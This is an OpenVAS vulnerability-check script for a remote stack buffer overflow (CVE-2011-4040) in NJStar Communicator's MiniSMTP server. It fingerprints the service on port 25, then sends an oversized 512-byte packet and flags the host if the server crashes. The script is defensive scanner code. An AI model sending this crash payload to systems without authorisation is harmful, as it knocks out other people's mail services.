The host is running NJStar Communicator MiniSMTP Server and is
prone to buffer overflow vulnerability.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_njstar_communicator_minismtp_server_bof_vuln.nasl 7044 2017-09-01 11:50:59Z teissa $
#
# NJStar Communicator MiniSMTP Server Remote Stack Buffer Overflow Vulnerability
#
# Authors:
# Sooraj KS <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_impact = "Successful exploitation may allow remote attackers to execute
arbitrary code within the context of the application or cause a denial of
service condition.
Impact Level: System/Application";
tag_affected = "NJStar Communicator Version 3.00";
tag_insight = "The flaw is due to a boundary error within the MiniSmtp server when
processing packets. This can be exploited to cause a stack-based buffer
overflow via a specially crafted packet sent to TCP port 25.";
tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";
tag_summary = "The host is running NJStar Communicator MiniSMTP Server and is
prone to buffer overflow vulnerability.";
if(description)
{
script_id(802266);
script_version("$Revision: 7044 $");
script_cve_id("CVE-2011-4040");
script_bugtraq_id(50452);
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"last_modification", value:"$Date: 2017-09-01 13:50:59 +0200 (Fri, 01 Sep 2017) $");
script_tag(name:"creation_date", value:"2011-11-08 19:46:14 +0530 (Tue, 08 Nov 2011)");
script_name("NJStar Communicator MiniSMTP Server Remote Stack Buffer Overflow Vulnerability");
script_xref(name : "URL" , value : "http://secunia.com/advisories/46630");
script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/18057");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
script_family("Buffer overflow");
script_dependencies("find_service.nasl", "smtpserver_detect.nasl");
script_require_ports("Services/smtp", 25);
script_tag(name : "impact" , value : tag_impact);
script_tag(name : "affected" , value : tag_affected);
script_tag(name : "insight" , value : tag_insight);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
include("smtp_func.inc");
## Get SMTP Port
port = get_kb_item("Services/smtp");
if(!port) {
port = 25;
}
if(get_kb_item('SMTP/'+port+'/broken')) {
exit(0);
}
## Check Port State
if(!get_port_state(port)) {
exit(0);
}
## Open SMTP Socket
if(!soc = smtp_open(port:port)) {
exit(0);
}
## Get Banner
res = recv(socket:soc, length:512);
## Confirm Application
send(socket:soc, data:'HELP\r\n');
res = recv(socket:soc, length:1024);
if("E-mail Server From NJStar Software" >!< res)
{
smtp_close(socket:soc);
exit(0);
}
## Sending Exploit
send(socket:soc, data:crap(512));
smtp_close(socket:soc);
## Open the socket and Check server is dead or alive
if(!soc = smtp_open(port:port))
{
security_message(port);
exit(0);
}
smtp_close(socket:soc);